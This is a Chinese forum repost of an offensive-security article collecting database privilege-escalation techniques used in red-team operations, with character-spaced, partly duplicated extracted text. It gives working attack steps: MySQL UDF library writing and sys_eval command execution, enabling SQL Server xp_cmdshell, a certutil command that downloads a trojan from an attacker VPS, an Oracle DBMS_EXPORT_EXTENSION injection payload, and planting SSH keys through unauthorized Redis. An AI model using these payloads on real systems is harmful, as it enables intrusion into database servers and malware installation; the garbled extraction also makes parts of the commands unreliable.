搜索

[7583] 2021-04-27_数据库提权合集

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2021-04-27_数据库提权合集 数 据 库 提 权 合 集 F 1 2 s e c   2 0 2 1 - 0 4 - 2 7 编 者 荐 语 ： 精 华 文 章 以 下 文 章 来 源 于 谁 不 想 当 剑 仙   ， 作 者 k e a i t m h w 结 束 ， 容 我 歇 几 天 作 者 ： k e a i t m 介 绍 ： 没 有 人 比 我 更 擅 长 干 饭 在 在 h w 时 常 常 能 从 配 置 文 件 中 获 得 一 些 数 据 库 的 账 号 密 码 ， 然 后 就 可 以 尝 试 利 用 数 据 库 运 行 系 统 命 令 达 到 上 线 等 目 的 。 时 常 常 能 从 配 置 文 件 中 获 得 一 些 数 据 库 的 账 号 密 码 ， 然 后 就 可 以 尝 试 利 用 数 据 库 运 行 系 统 命 令 达 到 上 线 等 目 的 。 ✔   0 x 0 1   m y s q l 的 u d f 提 权 1 . 1   前 提 1 . s e c u r e _ f i l e _ p r i v 参 数 值 表 示 有 导 入 导 出 权 限 的 路 径 为 空 或 为 需 要 操 作 文 件 夹 的 父 目 录 。 如 果 该 参 数 为 空 （ 不 是 n u l l ） ， 则 表 示 可 以 向 任 何 目 录 写 操 作 2 . 数 据 库 版 本 不 同 ， u d f . d l l 放 置 目 录 不 同   v e r s i o n < 5 . 1         c : w i n d o w s s y s t e m 3 2   v e r s i o n > = 5 . 1     m y s q l 安 装 目 录 l i b p l u g i n 3 . 注 意 数 据 库 是 3 2 位 还 是 6 4 位 ， 根 据 位 数 选 择 u d f 的 d l l （ 或 s o ）   使 用 查 看 4 . 账 户 对 数 据 库 有 插 入 的 权 限 1 . 2   开 淦 用 来 一 遍 完 整 流 程 ， u d f 函 数 库 的 话 ， l i n u x 用 s o 文 件 就 可 以 了 （ 应 该 吧 ） ： 首 先 ， 运 行 以 下 三 行 代 码 分 别 获 得 s e c u r e _ f i l e _ p r i v 、 版 本 信 息 、 安 装 路 径 谁 不 想 当 剑 仙 谁 不 想 当 剑 仙   . 键 指 一 动 ， 敌 方 主 机 已 上 线 s e l e c t   @ @ s e c u r e _ f i l e _ p r i v S H O W   V A R I A B L E S   L I K E   ' % v e r s i o n % ' M y S Q L 5 . 1 . 6 0 s e l e c t   @ @ s e c u r e _ f i l e _ p r i v ; S H O W   V A R I A B L E S   L I K E   ' % v e r s i o n % ' ;     / / m y s q l 版 本 和 位 数
M y S Q L 5 . 1 . 6 0 目 录 下 开 始 是 没 有 l i b p l u g i n 目 录 的 m y s q l 一 般 默 认 是 没 有 l i b p l u g i n 目 录 的 （ 据 说 安 装 完 整 版 m y s q l 就 会 有 ） 在 低 版 本 的 m y s q l 中 可 以 使 用 N T F S 流 创 建 l i b p l u g i n 目 录 ， 具 体 命 令 如 下 ： s e l e c t   @ @ b a s e d i r ;     / / m y s q l 安 装 目 录 S E L E C T   ' 1 '   i n t o   d u m p f i l e   ' F : / p h p s t u d y 8 . 1 / p h p s t u d y _ p r o / E x t e n s i o n s / M y S Q L 5 . 1 . 6 0 l i b : : $ I N D E X _ A L L O C A T I O N ' ; S E L E C T   ' 1 '   i n t o   d u m p f i l e   ' F : / p h p s t u d y 8 . 1 / p h p s t u d y _ p r o / E x t e n s i o n s / M y S Q L 5 . 1 . 6 0 / l i b p l u g i n : : $ I N D E X _ A L L O C A T I O N ' ; / / 运 行 报 E r r o r   w r i t i n g 则 说 明 文 件 夹 创 建 成 功 / / 若 报 P e r m i s s i o n   d e n i e d 则 说 明 失 败
  - - t i p s : m y s q l 版 本 还 能 用 ， 版 本 再 高 就 不 一 定 了 ， 高 版 本 m y s q l 会 限 制 流 的 使 用 。   高 版 本 没 有 l i b p l u g i n 目 录 目 前 不 知 道 怎 么 解 决 ， 希 望 有 大 佬 能 指 点 ！   利 用 d u m p f i l e 写 入 u d f . d l l 文 件 ， 这 里 要 先 把 文 件 转 换 为 1 6 进 制 数 据 ， 用 U l t r a E d i t 列 模 式 复 制 出 来 1 6 进 制 数 据 ， 然 后 写 个 小 脚 本 把 空 格 和 n 删 掉 。 脚 本 大 概 有 这 么 小 ： u d f . d l l 可 以 在 m s f 中 获 得 ： 默 认 为 目 录 使 用 d u m p f i l e 写 入 u d f . d l l ： 写 入 成 功 。 5 . 1 . 6 0 l i n e s = [ ] w i t h   o p e n ( " u d f . t x t " ,   ' r ' )   a s   f i l e _ t o _ r e a d :         w h i l e   T r u e :                 l i n e   =   f i l e _ t o _ r e a d . r e a d l i n e ( )                 i f   n o t   l i n e :                         b r e a k                 l i n e   =   l i n e . s t r i p ( ' n ' )                 l i n e   =   l i n e . r e p l a c e ( "   " , " " )                 l i n e s . a p p e n d ( l i n e ) w i t h   o p e n ( " n e w . t x t " ,   ' a ' )   a s   n e w :         f o r   a   i n   l i n e s :                 n e w . w r i t e ( a ) / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / d a t a / e x p l o i t s / m y s q l s e l e c t   u n h e x ( ' d l l 文 件 的 1 6 进 制 编 码 ， 不 要 空 格 和 换 行 ， 很 长 一 串 ' )   i n t o   d u m p f i l e   ' F : / p h p s t u d y 8 . 1 / p h p s t u d y _ p r o / E x t e n s i o n s / M y S Q L 5 . 1 . 6 0 / l i b / p l u g i n / u d f . d l l ' ;
使 用 c r e a t e   f u n c t i o n 创 建 自 定 义 函 数   s y s _ e v a l ( ) ： 可 用 函 数 在 d l l 文 件 中 查 看 ： 使 用 s y s _ e v a l ( ) 接 下 来 就 可 以 进 行 c e r t u t i l 下 马 之 类 的 操 作 了 。 e n j o y   i t ！ ✔   0 x 0 2   S Q L   S e r v e r 的 x p _ c m d s h e l l S Q L   S e r v e r 由 于 有 x p _ c m d s h e l l 操 作 相 对 简 单 2 . 1   前 提 拥 有 s a 权 限 账 户 2 . 2   开 淦 x p _ c m d s h e l l 一 般 默 认 是 关 闭 的 ， 我 们 要 先 把 这 个 模 块 开 启 c r e a t e   f u n c t i o n   s y s _ e v a l   r e t u r n s   s t r i n g   s o n a m e   ' u d f . a l l ' ; / / 要 先 选 择 m a s t e r 数 据 库 s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 r e c o n f i g u r e g o s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' , 1 r e c o n f i g u r e g o
x p _ c m d s h e l l 还 有 可 能 被 删 除 ， 可 以 尝 试 恢 复 开 启 x p _ c m d s h e l l 后 就 可 以 通 过 数 据 库 执 行 系 统 命 令 ✔   0 x 0 3   o r a c l e 的 D B M S _ E X P O R T _ E X T E N S I O N ( ) 漏 洞 3 . 1   前 提 1 . 拥 有 一 个 有 c r e a t e   s e s s i o n 权 限 的 账 户 2 . D B M S _ E X P O R T _ E X T E N S I O N ( ) 漏 洞 存 在 D B M S _ E X P O R T _ E X T E N S I O N ( ) 中 的 G E T _ D O M A I N _ I N D E X _ T A B L E S ( ) 函 数 是 以 s y s 权 限 定 义 ， 当 其 被 低 权 限 用 户 调 用 时 将 会 以 s y s 权 限 执 行 。 3 . 2   开 淦 数 据 库 为 o r a c l e 1 0 g 的   版 本 。 创 建 一 个 低 权 限 用 户 t e s t 本 人 不 擅 长 o r a c l e ， 这 里 直 接 使 用 了 r e d n 3 c k 大 佬 的 p a y l o a d 。 1 . 创 建 j a v a 代 码 L i n x U t i l ： 2 . 赋 予 p u b l i c 用 户 j a v a 权 限 ： 3 . 创 建 系 统 命 令 调 用 函 数 L i n x R u n C M D ： 4 . 将 L i n x R u n C M D 函 数 执 行 权 限 赋 予 p u b l i c 用 户 ： 5 . 使 用 ： e x e c   s p _ d r o p e x t e n d e d p r o c   ' x p _ c m d s h e l l '   d b c c   a d d e x t e n d e d p r o c ( " x p _ c m d s h e l l " , " x p l o g 7 0 . d l l " )   O R   d b c c   a d d e x t e n d e d p r o c ( " x p _ c m d s h e l l " , " d : P r o g r a m   F i l e s M i c r o s o f t   S Q L   S e r v e r M S S Q L B i n n x p l o g 7 0 . d l l " e x e c   x p _ c m d s h e l l   ' w h o a m i ' / / 例 ： 可 以 使 用 x p _ c m d s h e l l 进 行 下 马 操 作 ， 需 要 在 v p s 上 开 一 个 h t t p 服 务 e x e c   x p _ c m d s h e l l   ' c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p : / / v p s _ i p : v p s _ p o r t / 你 的 马 . e x e     c : t e m p a . e x e ' ; 1 0 . 2 . 0 . 1 s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' s e l e c t   s y s . L i n x R u n C M D ( ' w h o a m i ' )   f r o m   d u a l
接 下 来 就 是 愉 快 的 上 线 环 节 。 ✔   0 x 0 4   未 授 权 访 问 r e d i s 利 用 S S H   k e y 实 战 很 少 能 用 ， 一 般 遇 到 的 r e d i s 权 限 都 比 较 低 ， 内 网 较 多 。 4 . 1   前 提 需 要 高 权 限 r e d i s 账 户 ， 能 对 目 标 文 件 夹 写 入 操 作 。 4 . 2   开 淦 在 本 地 生 成 r s a 密 钥 对 ： 1 . 在 / r o o t / . s s h 目 录 运 行 命 令 ， 然 后 一 直 回 车 ， 得 到 r s a 密 钥 对 。 2 . 将 公 钥 i d - r s a . p u b 写 入 目 标 机 / r o o t / . s s h 目 录 下 的 a u t h o r i z e d _ k e y s 文 件 中 ： 3 . 直 接 在 . s s h 目 录 下 尝 试 用 r s a 文 件 连 接 目 标 机 ： 成 功 ， 开 始 为 所 欲 为 。 可 以 利 用 相 似 的 方 法 写 入 可 以 利 用 相 似 的 方 法 写 入 w e b s h e l l ， 前 提 是 知 道 绝 对 路 径 ， 前 提 是 知 道 绝 对 路 径 ✔   0 x 0 5   参 考 O r a c l e 注 入   -   命 令 执 行 & S h e l l 反 弹 h t t p s : / / r e d n 3 c k . g i t h u b . i o / 2 0 1 8 / 0 4 / 2 5 / O r a c l e % E 6 % B 3 % A 8 % E 5 % 8 5 % A 5 - % E 5 % 9 1 % B D % E 4 % B B % A 4 % E 6 % 8 9 % A 7 % E 8 % A 1 % 8 C - S h e l l % E 5 % 8 F % 8 D % E 5 % B C % B 9 / s s h - k e y g e n   - t   r s a
免 责 声 明 ： 本 文 仅 供 安 全 研 究 与 讨 论 之 用 ， 严 禁 用 于 非 法 用 途 ， 违 者 后 果 自 负 。 免 责 声 明 ： 本 文 仅 供 安 全 研 究 与 讨 论 之 用 ， 严 禁 用 于 非 法 用 途 ， 违 者 后 果 自 负 。 来 都 来 了 ， 不 关 注 一 波 ？
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理